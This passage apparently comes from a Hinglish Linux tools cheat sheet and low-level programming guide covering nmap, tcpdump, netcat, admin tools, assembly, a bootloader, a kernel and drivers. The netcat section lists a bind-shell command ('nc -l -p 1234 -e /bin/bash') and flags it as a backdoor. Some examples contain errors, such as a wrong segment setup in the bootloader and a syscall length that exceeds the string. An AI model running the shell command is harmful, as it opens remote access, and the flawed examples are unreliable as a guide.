lsblk -o NAME,SIZE,MOUNTPOINT : Custom columns
lsblk -l                     : List format (no tree)
lsblk /dev/sda               : Show specific disk
```

COMMON MISTAKES (AVOID THESE):

- Permissions ke bina details nahi dikhti - use sudo
- Size human readable nahi hai toh confusion hoti hai
- Virtual devices (loop, dm-) ko ignore mat karo

WHAT HAPPENS (EFFECTS):

lsblk -> Saari disks ka tree view dikhta hai, parent-child relation clear hota hai

lsblk -f -> Filesystem type (ext4, xfs) aur UUID dikhte hain

lsblk -m -> Device permissions dikhte hain (who can read/write)

---

3. NETWORK TOOLS

[nmap]

WHAT:

Network scanner - open ports, services, OS detection

HOW TO USE:

nmap target.com scan network.

COMMANDS:

```
nmap 192.168.1.1              : Scan single host
nmap 192.168.1.0/24           : Scan entire subnet
nmap -p 1-1000 192.168.1.1    : Scan specific ports
nmap -sV 192.168.1.1           : Service version detection
nmap -O 192.168.1.1            : OS detection
nmap -sS 192.168.1.1           : Stealth SYN scan
nmap -A 192.168.1.1            : Aggressive scan (OS, services, scripts)
nmap -sU 192.168.1.1           : UDP scan
nmap -Pn 192.168.1.1           : Skip host discovery
```

COMMON MISTAKES (AVOID THESE):

- Bina permission ke dusre network scan mat karo - illegal hai
- Corporate networks me scan mat karo without authorization
- Aggressive scan se IDS/IPS trigger ho sakta hai
- -A flag se bahut traffic generate hota hai

WHAT HAPPENS (EFFECTS):

nmap target -> Open ports list hoti hai (22 SSH, 80 HTTP, 443 HTTPS)

nmap -sV -> Services ke versions pata chalte hain (Apache 2.4, OpenSSH 8.2)

nmap -O -> Operating system pata chalta hai (Linux, Windows)

nmap -sS -> Half-open scan, target logs me nahi dikhta

[tcpdump]

WHAT:

Network packet analyzer - network traffic capture

HOW TO USE:

sudo tcpdump -i eth0 capture network packets.

COMMANDS:

```
sudo tcpdump -i any           : Capture all interfaces
sudo tcpdump -i eth0           : Capture on specific interface
sudo tcpdump port 80           : Capture HTTP traffic
sudo tcpdump host 192.168.1.1  : Capture specific host
sudo tcpdump -w capture.pcap   : Save to file
sudo tcpdump -r capture.pcap   : Read from file
sudo tcpdump -n                : No DNS resolution
sudo tcpdump -v                : Verbose output
sudo tcpdump 'tcp port 22'     : SSH traffic only
```

COMMON MISTAKES (AVOID THESE):

- Public network pe passwords capture mat karo - privacy violation
- Bina filter ke capture mat karo - file bahut badi ho jayegi
- Production me high traffic capture mat karo - performance hit
- Capture files ko public mat rakho - sensitive data ho sakta hai

WHAT HAPPENS (EFFECTS):

tcpdump -i any -> Network ke saare packets console pe print hote hain

tcpdump -w file.pcap -> Packets file me save hote hain, later Wireshark se analyze kar sakte ho

tcpdump port 80 -> Sirf HTTP traffic capture hota hai, debugging ke liye useful

---

[netcat (nc)]

WHAT:

Network swiss army knife - port scanning, file transfer, chat

HOW TO USE:

Listener: nc -l -p 1234, Client: nc host 1234

COMMANDS:

```
nc -l -p 1234                 : Listen on port 1234
nc 192.168.1.1 1234           : Connect to port 1234
nc -v -z 192.168.1.1 1-1000   : Port scan
nc -l -p 1234 > file.txt      : Receive file
nc 192.168.1.1 1234 < file.txt : Send file
nc -l -p 1234 -e /bin/bash     : Create backdoor (DANGEROUS!)
echo 'text' | nc host 1234     : Send text
nc -u host 1234                : UDP connection
```

COMMON MISTAKES (AVOID THESE):

- -e option NEVER use karo - yeh backdoor create karta hai
- Bina firewall ke listener mat chhodo - security risk
- Production me port scanning mat karo
- File transfer me checksum verify karo

WHAT HAPPENS (EFFECTS):

nc -l -p 1234 -> Server starts, waiting for connection on port 1234

nc host 1234 -> Connection established, bidirectional communication possible

nc -v -z 192.168.1.1 1-1000 -> Port scanner, shows which ports are open

nc with -e -> Remote shell access milta hai (BIG SECURITY RISK!)

[iftop]

WHAT:

Real-time network bandwidth usage per connection

HOW TO USE:

sudo iftop -i eth0 run karo.

COMMANDS:

```
sudo iftop                    : Show bandwidth on default interface
sudo iftop -i eth0            : Specific interface
sudo iftop -n                 : No DNS resolution
sudo iftop -P                 : Show ports
sudo iftop -B                 : Show in bytes/sec
# Inside iftop:
p                             : Show ports
s                             : Show source/destination
t                             : Toggle display mode
q                             : Quit
```

COMMON MISTAKES (AVOID THESE):

- Bina interface specify kiye mat chalao - wrong interface select ho sakta hai
- DNS resolution on mat rakho - slow ho jata hai
- Background me mat chhodo - CPU consume karta hai

WHAT HAPPENS (EFFECTS):

sudo iftop -i eth0 -> Live bandwidth usage dikhta hai, per connection speed

Press p -> Source aur destination ports dikhte hain

High bandwidth connection identified -> Kaunsi process bandwidth consume kar rahi hai pata chalta hai

---

4. TEXT PROCESSING POWER TOOLS

[awk]

WHAT:

Text processing language - columns, patterns, calculations

HOW TO USE:

awk '{print $1}' file.txt

COMMANDS:

```
awk '{print $1}' file.txt     : Print first column
awk '/error/ {print}' file.txt : Print lines with error
awk '{sum+=$1} END {print sum}' file.txt : Sum first column
awk -F: '{print $1}' /etc/passwd : Field separator :
awk '$3 > 1000 {print $1}' /etc/passwd : Users with UID > 1000
awk 'NR==10' file.txt         : Print line 10
awk '{print NF}' file.txt      : Number of fields
awk 'length($0) > 100' file.txt : Lines longer than 100 chars
```

COMMON MISTAKES (AVOID THESE):

- Bina separator specify kiye space default hai - galat split ho sakta hai
- Large files me bina optimization ke mat chalao - slow
- Variables ke quotes carefully use karo

WHAT HAPPENS (EFFECTS):

awk '{print $1}' -> File ka first column print hota hai

awk -F: '{print $1}' /etc/passwd -> Usernames list hoti hai

awk '{sum+=$1} END {print sum}' -> Column ka total calculate hota hai

---

[sed]

WHAT:

Stream editor - find and replace text

HOW TO USE:

sed 's/old/new/g' file.txt

COMMANDS:

```
sed 's/old/new/g' file.txt     : Replace all occurrences
sed -i 's/old/new/g' file.txt  : In-place replace
sed '1,5d' file.txt            : Delete lines 1-5
sed '/pattern/d' file.txt      : Delete matching lines
sed -n '10,20p' file.txt       : Print lines 10-20
sed 's/^/PREFIX: /' file.txt   : Add prefix to each line
sed 's/$/ SUFFIX/' file.txt    : Add suffix to each line
sed 's/ /\n/g' file.txt        : Replace spaces with newlines
```

COMMON MISTAKES (AVOID THESE):

- -i flag se backup nahi liya toh original data lost ho sakta hai
- Global flag (g) na lagao toh sirf first match replace hota hai
- Special characters escape karna bhool mat jao (., *, [, etc.)

WHAT HAPPENS (EFFECTS):

sed 's/old/new/g' -> Text replace hota hai, output console pe aata hai

sed -i 's/old/new/g' file.txt -> Original file modify ho jati hai

sed '/error/d' -> Error wali lines remove ho jati hain

---

5. SYSTEM ADMIN TOOLS

[systemctl]

WHAT:

Systemd service manager - start/stop/enable services

HOW TO USE:

systemctl [command] [service]

COMMANDS:

```
systemctl status nginx        : Check service status
sudo systemctl start nginx    : Start service
sudo systemctl stop nginx     : Stop service
sudo systemctl restart nginx  : Restart service
sudo systemctl reload nginx   : Reload config (no downtime)
sudo systemctl enable nginx   : Start at boot
sudo systemctl disable nginx  : Don't start at boot
systemctl list-units          : List all units
systemctl list-unit-files     : List all unit files
systemctl daemon-reload       : Reload systemd config
```

COMMON MISTAKES (AVOID THESE):

- Service restart mat karo during peak hours - downtime hoga
- Enable without checking config mat karo - boot failure ho sakta hai
- Critical services (sshd) disable mat karo - lockout ho sakte ho
- mask command carefully use karo - service permanently block ho jati hai

WHAT HAPPENS (EFFECTS):

systemctl start nginx -> Nginx service start hoti hai, website accessible ho jati hai

systemctl enable nginx -> Nginx automatically starts on boot

systemctl status nginx -> Service running, uptime, logs dikhte hain

systemctl disable nginx -> Nginx boot pe start nahi hogi

[journalctl]

WHAT:

Systemd logs viewer - all system logs in one place

HOW TO USE:

journalctl [options]

COMMANDS:

```
journalctl                    : All logs
journalctl -b                 : Current boot logs
journalctl -b -1              : Previous boot logs
journalctl -u nginx           : Specific service logs
journalctl -f                 : Follow logs (like tail -f)
journalctl --since today      : Today's logs
journalctl --since '2024-01-01' : Since specific date
journalctl -p err             : Only errors
journalctl -k                 : Kernel messages
journalctl --disk-usage       : Logs disk usage
```

COMMON MISTAKES (AVOID THESE):

- Bina filter ke logs mat dekh - bahut saari lines aayengi
- Follow mode background me mat chhodo
- Logs manually delete mat karo - use retention settings

WHAT HAPPENS (EFFECTS):

journalctl -u nginx -> Nginx ke saare logs dikhte hain (access + error)

journalctl -f -> Live logs stream hoti hain, real-time debugging

journalctl -p err -> Sirf error level ke logs dikhte hain

[crontab]

WHAT:

Schedule tasks - automate commands at specific times

HOW TO USE:

crontab -e to edit, crontab -l to list

COMMANDS:

```
crontab -e                    : Edit cron jobs
crontab -l                    : List cron jobs
crontab -r                    : Remove all jobs
# Cron syntax:
* * * * * command              : Every minute
0 * * * * command              : Every hour
0 0 * * * command              : Daily at midnight
0 2 * * 0 command              : Sunday at 2 AM
@daily command                 : Daily
@reboot command                : On reboot
```

COMMON MISTAKES (AVOID THESE):

- Environment variables set karna bhool mat jao - PATH nahi hota
- Output redirect mat karo toh mail generate hoti hai
- Script me full path use karo - relative path work nahi karta
- Cron syntax galat toh job run nahi hogi

WHAT HAPPENS (EFFECTS):

crontab -e + 0 2 * * * /backup.sh -> Daily 2 AM backup script run hoti hai

crontab -l -> Scheduled jobs list hoti hain

crontab -r -> Saari scheduled jobs delete ho jati hain

---

6. SECURITY TOOLS

[fail2ban]

WHAT:

Brute force protection - bans IPs after failed login attempts

HOW TO USE:

Install and configure /etc/fail2ban/jail.local

COMMANDS:

```
sudo fail2ban-client status   : Show active jails
sudo fail2ban-client status sshd : Show sshd jail status
sudo fail2ban-client set sshd banip 192.168.1.100 : Ban IP
sudo fail2ban-client set sshd unbanip 192.168.1.100 : Unban IP
sudo fail2ban-client reload   : Reload config
sudo fail2ban-client start    : Start service
sudo fail2ban-client stop     : Stop service
```

COMMON MISTAKES (AVOID THESE):

- Baelog fail2ban log file permissions set karo
- Whitelist apne IPs mat bhoolo - khud ban ho sakte ho
- Too strict ban time mat rakho - legitimate users block ho sakte hain

WHAT HAPPENS (EFFECTS):

fail2ban-client status sshd -> Currently banned IPs dikhte hain

IP banned -> Fail2ban automatically IP block kar deta hai firewall me

Service running -> Brute force attacks automatically blocked

[ufw]

WHAT:

Uncomplicated Firewall - easy firewall management

HOW TO USE:

sudo ufw enable, sudo ufw allow ssh

COMMANDS:

```
sudo ufw status               : Show firewall status
sudo ufw enable               : Enable firewall
sudo ufw disable              : Disable firewall
sudo ufw allow 22             : Allow SSH
sudo ufw allow 80/tcp         : Allow HTTP
sudo ufw allow 443/tcp        : Allow HTTPS
sudo ufw deny 23              : Block telnet
sudo ufw allow from 192.168.1.0/24 : Allow subnet
sudo ufw delete allow 80      : Remove rule
sudo ufw reset                : Reset all rules
```

COMMON MISTAKES (AVOID THESE):

- SSH rule pehle add karo, phir enable karo - nahi toh lockout
- Default deny policy enable karne se pehle rules check karo
- Rate limiting bhool mat jao - ufw allow 22/tcp comment 'SSH'

WHAT HAPPENS (EFFECTS):

sudo ufw allow 22 -> SSH port open hota hai, remote access allowed

sudo ufw enable -> Firewall active ho jati hai, all rules apply

sudo ufw deny 23 -> Telnet port blocked ho jati hai

---

7. FILE TRANSFER & SYNC TOOLS

[rsync]

WHAT:

Efficient file sync - only transfers changes

HOW TO USE:

rsync -avz source/ dest/

COMMANDS:

```
rsync -avz source/ dest/       : Sync with archive, verbose, compress
rsync -avz --delete source/ dest/ : Delete extra files in dest
rsync -avz --exclude='*.log' source/ dest/ : Exclude logs
rsync -avz user@host:/path/ ./ : Sync from remote
rsync -avz --progress bigfile dest/ : Show progress
rsync -avz --dry-run source/ dest/ : Test run (no actual copy)
rsync -avz -e ssh source/ user@host:/path/ : SSH specific
```

COMMON MISTAKES (AVOID THESE):

- Trailing slash bhool mat jao - / matters
- --delete flag test karo without --dry-run pehle
- Large sync me bandwidth limit lagao (--bwlimit)

WHAT HAPPENS (EFFECTS):

rsync -avz source/ dest/ -> Files sync hoti hain, only changed files transfer

rsync --delete -> Destination me extra files delete ho jati hain (mirror)

rsync --dry-run -> What would happen dikhta hai, actual copy nahi hoti

---

8. DEVELOPMENT TOOLS

[git]

WHAT:

Version control system - track code changes

HOW TO USE:

git init, git add, git commit

COMMANDS:

```
git init                      : Initialize repository
git clone url                 : Clone repository
git add file.txt              : Stage file
git add .                     : Stage all files
git commit -m 'message'       : Commit changes
git push origin main          : Push to remote
git pull                      : Pull from remote
git status                    : Show status
git log                       : Show commit history
git branch feature            : Create branch
git checkout feature          : Switch branch
git merge feature             : Merge branch
git diff                      : Show changes
git reset --hard HEAD         : Discard changes (DANGEROUS!)
```

COMMON MISTAKES (AVOID THESE):

- Commit message me details mat bhoolo
- git reset --hard se pehle backup le lo - changes permanently lost
- Merge conflicts resolve carefully karo
- Sensitive data commit mat karo - passwords, keys

WHAT HAPPENS (EFFECTS):

git add + git commit -> Changes saved in local repository, history maintain hoti hai

git push -> Local commits remote repository me upload hoti hain

git reset --hard -> All uncommitted changes permanently lost

Low-Level Systems Programming Guide

Assembly, OS Development, Kernel, Drivers, Embedded C, Memory Management

Generated: 23-March-2026

1. ASSEMBLY LANGUAGE - COMPLETE GUIDE

>> What is Assembly

WHAT:

Assembly language human-readable representation of machine code hai. Ye processor ko directly control karta hai. Har instruction CPU ka ek operation represent karta hai. High-level languages se fast aur powerful hota hai, par complex bhi.

KEY CONCEPTS:

* Registers - CPU ke internal storage (EAX, EBX, ECX, EDX, etc.)
* Instructions - CPU operations (MOV, ADD, SUB, JMP, etc.)
* Memory Addressing - RAM me data access
* Stack - Function calls and local variables
* Interrupts - Hardware/software events
* System Calls - OS services access

>> NASM Installation on Linux

WHAT:

NASM (Netwide Assembler) installation

COMMANDS:

```
# Install NASM assembler
sudo apt update
sudo apt install nasm -y
# Install linker and debugger
sudo apt install ld gdb -y
# Install QEMU for emulation
sudo apt install qemu-system-x86 -y
# Verify installation
nasm -version
ld --version
```

>> Assembly Hello World

WHAT:

Complete assembly program for Linux x86_64

CODE:

```
; hello.asm - Hello World in NASM (64-bit Linux)

section .data
    msg db 'Hello, World!', 0xa    ; message with newline
    len equ $ - msg                ; length of message

section .text
    global _start

_start:
    ; write system call (sys_write)
    mov rax, 1          ; system call number for write
    mov rdi, 1          ; file descriptor 1 (stdout)
    mov rsi, msg        ; pointer to message
    mov rdx, len        ; message length
    syscall             ; invoke kernel

    ; exit system call (sys_exit)
    mov rax, 60         ; system call number for exit
    mov rdi, 0          ; exit code 0
    syscall             ; invoke kernel

# Assemble and link
```

```
nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello
```

>> Assembly Complete Tutorial

WHAT:

Complete assembly programming tutorial with examples

CODE:

```
; ========== REGISTERS AND DATA TYPES ==========
section .data
    ; Data types in assembly
    byte_var db 0x12                    ; 1 byte
    word_var dw 0x1234                  ; 2 bytes
    dword_var dd 0x12345678             ; 4 bytes
    qword_var dq 0x123456789abcdef0     ; 8 bytes
    float_var dd 3.14159                ; single precision
    double_var dq 3.141592653589793     ; double precision

    ; Arrays
    array db 10, 20, 30, 40, 50         ; byte array
    array_len equ $ - array              ; array length

    ; Strings
    str1 db 'Hello', 0                   ; null-terminated
    str2 db 'World', 10, 0               ; with newline

section .bss
    buffer resb 256                      ; 256 bytes buffer

section .text
    global _start

_start:
    ; ========== MOV INSTRUCTION ==========
    ; Move immediate to register
    mov rax, 42                         ; rax = 42
    mov ebx, 0x1234                     ; ebx = 0x1234

    ; Move between registers
    mov rcx, rax                        ; rcx = rax

    ; Move from memory to register
    mov al, [byte_var]                  ; al = byte_var
    mov ax, [word_var]                  ; ax = word_var

    ; Move from register to memory
    mov [byte_var], bl                   ; byte_var = bl

    ; ========== ARITHMETIC INSTRUCTIONS ==========
    mov rax, 10
    mov rbx, 20

    add rax, rbx                        ; rax = 30
    sub rax, 5                          ; rax = 25
    mul rbx                             ; rax = 25 * 20 = 500
    div rbx                             ; rax = 500 / 20 = 25

    inc rax                             ; rax = 26
    dec rax                             ; rax = 25

    ; ========== LOGICAL INSTRUCTIONS ==========
    mov rax, 0b1010                     ; 10 decimal
    mov rbx, 0b1100                     ; 12 decimal
```

```
    and rax, rbx                        ; rax = 0b1000 (8)
    or rax, rbx                         ; rax = 0b1110 (14)
    xor rax, rbx                        ; rax = 0b0110 (6)
    not rax                             ; bitwise NOT
    shl rax, 1                          ; left shift
    shr rax, 1                          ; right shift

    ; ========== COMPARISON AND BRANCHING ==========
    mov rax, 10
    mov rbx, 20

    cmp rax, rbx                        ; compare rax and rbx
    je equal_label                      ; jump if equal
    jne not_equal_label                 ; jump if not equal
    jg greater_label                    ; jump if greater
    jl less_label                       ; jump if less

equal_label:
    mov rcx, 1
    jmp end_label

not_equal_label:
    mov rcx, 0
    jmp end_label

greater_label:
    mov rcx, 2
    jmp end_label

less_label:
    mov rcx, -1

end_label:

    ; ========== LOOPING ==========
    mov rcx, 10                         ; loop counter
    mov rax, 0                          ; sum = 0

loop_start:
    add rax, rcx                        ; add counter to sum
    loop loop_start                     ; decrement rcx, loop if not zero

    ; ========== ARRAY PROCESSING ==========
    mov rsi, array                      ; pointer to array
    mov rcx, array_len                  ; loop counter
    xor rax, rax                        ; sum = 0

sum_loop:
    mov bl, [rsi]                       ; load byte
    add rax, rbx                        ; add to sum
    inc rsi                             ; next element
    loop sum_loop                       ; continue

    ; ========== STACK OPERATIONS ==========
    push rax                            ; push rax to stack
    push rbx                            ; push rbx to stack
    pop rbx                             ; pop to rbx
    pop rax                             ; pop to rax

    ; ========== FUNCTION CALL (CALL/RET) ==========
    call my_function                    ; call function

    ; ========== EXIT ==========
    mov rax, 60                         ; exit syscall
    xor rdi, rdi                        ; exit code 0
    syscall
```

```
my_function:
    ; function code here
    ret                                     ; return
```

2. OPERATING SYSTEM DEVELOPMENT

>> OS Development Basics

WHAT:

Operating System development - bootloader se lekar kernel tak. Bare metal programming, no OS services.

KEY CONCEPTS:

* Bootloader - BIOS se control leta hai, kernel load karta hai
* Real Mode vs Protected Mode - 16-bit vs 32-bit mode
* GDT (Global Descriptor Table) - Memory segmentation
* IDT (Interrupt Descriptor Table) - Interrupt handling
* Paging - Virtual memory management
* Multitasking - Process scheduling

>> Simple Bootloader

WHAT:

Complete bootloader that prints message

CODE:

```
; boot.asm - Simple bootloader

[org 0x7c00]          ; BIOS loads bootloader at 0x7c00
[bits 16]             ; 16-bit real mode

start:
    ; Set up segments
    mov ax, 0x07c0
    mov ds, ax
    mov es, ax

    ; Set up stack
    mov ax, 0x0000
    mov ss, ax
    mov sp, 0xffff

    ; Clear screen
    mov ah, 0x07
    mov al, 0x00
    mov bh, 0x07
    mov cx, 0x0000
    mov dx, 0x184f
    int 0x10

    ; Move cursor
    mov ah, 0x02
    mov bh, 0x00
    mov dh, 0x00
    mov dl, 0x00
    int 0x10

    ; Print message
    mov si, msg
    call print_string

    ; Wait for key press
    mov ah, 0x00
    int 0x16

    ; Reboot
    mov ax, 0x0040
    mov ds, ax
```

```
    mov word [0x0072], 0x1234
    jmp 0xffff:0x0000

print_string:
    lodsb                 ; load byte from SI to AL
    or al, al             ; check if zero
    jz .done
    mov ah, 0x0e         ; teletype output
    int 0x10
    jmp print_string
.done:
    ret

msg db 'My Simple OS Bootloader', 13, 10, 0

times 510-($-$$) db 0   ; Pad to 510 bytes
dw 0xaa55               ; Boot signature

# Assemble bootloader
nasm -f bin boot.asm -o boot.bin

# Run in QEMU
qemu-system-x86_64 -drive format=raw,file=boot.bin
```

>> Simple Kernel

WHAT:

Minimal kernel in C with assembly

CODE:

```
// kernel.c - Simple kernel

void print_char(char c, int row, int col, char attr) {
    char *video_memory = (char*) 0xb8000;
    int offset = (row * 80 + col) * 2;
    video_memory[offset] = c;
    video_memory[offset + 1] = attr;
}

void print_string(char *str, int row, int col, char attr) {
    int i = 0;
    while (str[i] != '\0') {
        print_char(str[i], row, col + i, attr);
        i++;
    }
}

void clear_screen() {
    for (int i = 0; i < 25; i++) {
        for (int j = 0; j < 80; j++) {
            print_char(' ', i, j, 0x07);
        }
    }
}

void kernel_main() {
    clear_screen();
    print_string("Welcome to My Simple Kernel!", 0, 0, 0x07);
    print_string("This is a 32-bit protected mode kernel", 1, 0, 0x07);

    // Simple counter
    int counter = 0;
    while (1) {
        print_char('0' + (counter % 10), 2, counter % 80, 0x07);
        counter++;
        for (int i = 0; i < 1000000; i++) {
```

```
            __asm__ volatile("nop");
        }
    }
}

; kernel_entry.asm - Entry point for kernel
[bits 32]
[extern kernel_main]

global _start
_start:
    ; Set up stack
    mov esp, stack_top

    ; Clear interrupts
    cli

    ; Call kernel main
    call kernel_main

    ; Halt CPU
    jmp $

section .bss
align 16
stack_bottom:
    resb 16384  ; 16KB stack
stack_top:

# Compile kernel
gcc -m32 -c kernel.c -o kernel.o -ffreestanding -nostdlib -fno-pie
nasm -f elf32 kernel_entry.asm -o kernel_entry.o
ld -m elf_i386 -Ttext 0x1000 kernel_entry.o kernel.o -o kernel.elf -nostdlib
objcopy -O binary kernel.elf kernel.bin

# Combine with bootloader
cat boot.bin kernel.bin > os-image.bin
qemu-system-x86_64 -drive format=raw,file=os-image.bin
```

>> Protected Mode Setup

WHAT:

Switching from real mode to protected mode

CODE:

```
; switch_to_pm.asm - Switch to 32-bit protected mode

[bits 16]

switch_to_pm:
    cli                     ; Disable interrupts
    lgdt [gdt_descriptor]   ; Load GDT

    ; Enable protected mode
    mov eax, cr0
    or eax, 0x1
    mov cr0, eax

    ; Far jump to 32-bit code
    jmp CODE_SEG:init_pm

[bits 32]

init_pm:
    ; Set up segments
    mov ax, DATA_SEG
```

```
    mov ds, ax
    mov ss, ax
    mov es, ax
    mov fs, ax
    mov gs, ax

    ; Set up stack
    mov ebp, 0x90000
    mov esp, ebp

    ; Call kernel
    call kernel_main

    ; Halt if returns
    jmp $

; GDT (Global Descriptor Table)
gdt_start:
    dd 0x0, 0x0            ; null descriptor

gdt_code:
    dw 0xffff               ; limit low
    dw 0x0                  ; base low
    db 0x0                  ; base middle
    db 0x9a                 ; access byte
    db 0xcf                 ; flags + limit high
    db 0x0                  ; base high

gdt_data:
    dw 0xffff               ; limit low
    dw 0x0                  ; base low
    db 0x0                  ; base middle
    db 0x92                 ; access byte
    db 0xcf                 ; flags + limit high
    db 0x0                  ; base high

gdt_end:

gdt_descriptor:
    dw gdt_end - gdt_start - 1
    dd gdt_start

CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start
```

3. KERNEL PROGRAMMING

>> Kernel Module Development

WHAT:

Linux kernel module programming

CODE:

```
// hello_module.c - Simple kernel module
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Your Name");
MODULE_DESCRIPTION("A simple kernel module");
MODULE_VERSION("1.0");

static int __init hello_init(void) {
    printk(KERN_INFO "Hello, Kernel Module!\n");
    printk(KERN_INFO "Module loaded successfully\n");
    return 0;
}

static void __exit hello_exit(void) {
    printk(KERN_INFO "Goodbye, Kernel Module!\n");
}

module_init(hello_init);
module_exit(hello_exit);

# Makefile for kernel module
obj-m += hello_module.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

# Build and load module
make
sudo insmod hello_module.ko
lsmod | grep hello
sudo rmmod hello_module
dmesg | tail
```

>> Character Device Driver

WHAT:

Complete character device driver

CODE:

```
// char_driver.c - Character device driver
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/cdev.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "mychardev"
#define CLASS_NAME "mychar"
#define BUFFER_SIZE 1024
```

```
static int major_number;
static struct class* char_class = NULL;
static struct device* char_device = NULL;
static char device_buffer[BUFFER_SIZE];
static int open_count = 0;

static int dev_open(struct inode* inodep, struct file* filep) {
    open_count++;
    printk(KERN_INFO "Device opened %d times\n", open_count);
    return 0;
}

static int dev_release(struct inode* inodep, struct file* filep) {
    printk(KERN_INFO "Device closed\n");
    return 0;
}

static ssize_t dev_read(struct file* filep, char __user* buffer, size_t len, loff_t* offset) {
    size_t bytes_to_read;

    if (*offset >= BUFFER_SIZE) {
        return 0;
    }

    bytes_to_read = min(len, (size_t)(BUFFER_SIZE - *offset));

    if (copy_to_user(buffer, device_buffer + *offset, bytes_to_read)) {
        return -EFAULT;
    }

    *offset += bytes_to_read;
    printk(KERN_INFO "Read %zu bytes from device\n", bytes_to_read);
    return bytes_to_read;
}

static ssize_t dev_write(struct file* filep, const char __user* buffer, size_t len, loff_t* offset) {
    size_t bytes_to_write;

    if (*offset >= BUFFER_SIZE) {
        return -ENOSPC;
    }

    bytes_to_write = min(len, (size_t)(BUFFER_SIZE - *offset));

    if (copy_from_user(device_buffer + *offset, buffer, bytes_to_write)) {
        return -EFAULT;
    }

    *offset += bytes_to_write;
    printk(KERN_INFO "Wrote %zu bytes to device\n", bytes_to_write);
    return bytes_to_write;
}

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open = dev_open,
    .read = dev_read,
    .write = dev_write,
    .release = dev_release,
};

static int __init char_driver_init(void) {
    printk(KERN_INFO "Initializing char driver\n");

    major_number = register_chrdev(0, DEVICE_NAME, &fops);
    if (major_number < 0) {
```

```
        printk(KERN_ALERT "Failed to register device\n");
        return major_number;
    }

    char_class = class_create(THIS_MODULE, CLASS_NAME);
    if (IS_ERR(char_class)) {
        unregister_chrdev(major_number, DEVICE_NAME);
        return PTR_ERR(char_class);
    }

    char_device = device_create(char_class, NULL, MKDEV(major_number, 0), NULL, DEVICE_NAME);
    if (IS_ERR(char_device)) {
        class_destroy(char_class);
        unregister_chrdev(major_number, DEVICE_NAME);
        return PTR_ERR(char_device);
    }

    memset(device_buffer, 0, BUFFER_SIZE);
    printk(KERN_INFO "Char driver loaded with major number %d\n", major_number);
    return 0;
}

static void __exit char_driver_exit(void) {
    device_destroy(char_class, MKDEV(major_number, 0));
    class_destroy(char_class);
    unregister_chrdev(major_number, DEVICE_NAME);
    printk(KERN_INFO "Char driver unloaded\n");
}

module_init(char_driver_init);
module_exit(char_driver_exit);
MODULE_LICENSE("GPL");
```

>> System Call Implementation

WHAT:

Adding custom system call to Linux kernel

CODE:

```
// kernel/sys_mycall.c - Custom system call
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/uaccess.h>

SYSCALL_DEFINE2(mycall, const char __user*, msg, int, len) {
    char kernel_msg[256];

    if (len > 255) {
        return -EINVAL;
    }

    if (copy_from_user(kernel_msg, msg, len)) {
        return -EFAULT;
    }

    kernel_msg[len] = '\0';
    printk(KERN_INFO "System call: %s\n", kernel_msg);

    return len;
}

# User space test program
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
```

```
#define __NR_mycall 451

int main() {
    char *msg = "Hello from userspace!";
    long result = syscall(__NR_mycall, msg, 25);
    printf("System call returned: %ld\n", result);
    return 0;
}
```

4. DRIVER DEVELOPMENT

>> Linux Driver Development

WHAT:

Complete Linux device driver development guide

CODE:

```
// usb_driver.c - Simple USB driver
#include <linux/module.h>
#include <linux/usb.h>

#define VENDOR_ID 0x1234
#define PRODUCT_ID 0x5678

static struct usb_device_id usb_ids[] = {
    { USB_DEVICE(VENDOR_ID, PRODUCT_ID) },
    {}
};
MODULE_DEVICE_TABLE(usb, usb_ids);

static int usb_probe(struct usb_interface *interface, const struct usb_device_id *id) {
    printk(KERN_INFO "USB device connected\n");
    return 0;
}

static void usb_disconnect(struct usb_interface *interface) {
    printk(KERN_INFO "USB device disconnected\n");
}

static struct usb_driver usb_driver = {
    .name = "my_usb_driver",
    .id_table = usb_ids,
    .probe = usb_probe,
    .disconnect = usb_disconnect,
};

static int __init usb_driver_init(void) {
    int result = usb_register(&usb_driver);
    if (result) {
        printk(KERN_ERR "Failed to register USB driver\n");
    }
    return result;
}

static void __exit usb_driver_exit(void) {
    usb_deregister(&usb_driver);
}

module_init(usb_driver_init);
module_exit(usb_driver_exit);
MODULE_LICENSE("GPL");
```

5. EMBEDDED C PROGRAMMING

>> Embedded C for Microcontrollers

WHAT:

Embedded C programming for ARM/AVR microcontrollers

CODE:

```
// embedded_c.c - Embedded C for STM32/AVR
#include <stdint.h>
#include <stdbool.h>

// Memory-mapped registers (example for ARM)
#define PERIPH_BASE 0x40000000
#define GPIOA_BASE (PERIPH_BASE + 0x20000)

#define GPIOA_MODER (*(volatile uint32_t*)(GPIOA_BASE + 0x00))
#define GPIOA_ODR   (*(volatile uint32_t*)(GPIOA_BASE + 0x14))
#define GPIOA_IDR   (*(volatile uint32_t*)(GPIOA_BASE + 0x10))

#define RCC_BASE (PERIPH_BASE + 0x23800)
#define RCC_AHBENR (*(volatile uint32_t*)(RCC_BASE + 0x14))

// Bit manipulation macros
#define BIT(n) (1UL << (n))
#define SET_BIT(reg, bit) ((reg) |= BIT(bit))
#define CLEAR_BIT(reg, bit) ((reg) &= ~BIT(bit))
#define READ_BIT(reg, bit) (((reg) >> (bit)) & 1)

// System initialization
void system_init(void) {
    // Enable GPIOA clock
    SET_BIT(RCC_AHBENR, 0);

    // Configure PA5 as output (LED)
    CLEAR_BIT(GPIOA_MODER, 10);  // Clear bits 10-11
    CLEAR_BIT(GPIOA_MODER, 11);
    SET_BIT(GPIOA_MODER, 10);    // Set to output (01)

    // Configure PA0 as input (button)
    CLEAR_BIT(GPIOA_MODER, 0);
    CLEAR_BIT(GPIOA_MODER, 1);   // Input mode (00)
}

// Delay function (software loop)
void delay_ms(uint32_t ms) {
    for (uint32_t i = 0; i < ms; i++) {
        for (uint32_t j = 0; j < 8000; j++) {
            __asm__ volatile("nop");
        }
    }
}

// LED control
void led_on(void) {
    SET_BIT(GPIOA_ODR, 5);
}

void led_off(void) {
    CLEAR_BIT(GPIOA_ODR, 5);
}

void led_toggle(void) {
    if (READ_BIT(GPIOA_ODR, 5)) {
        led_off();
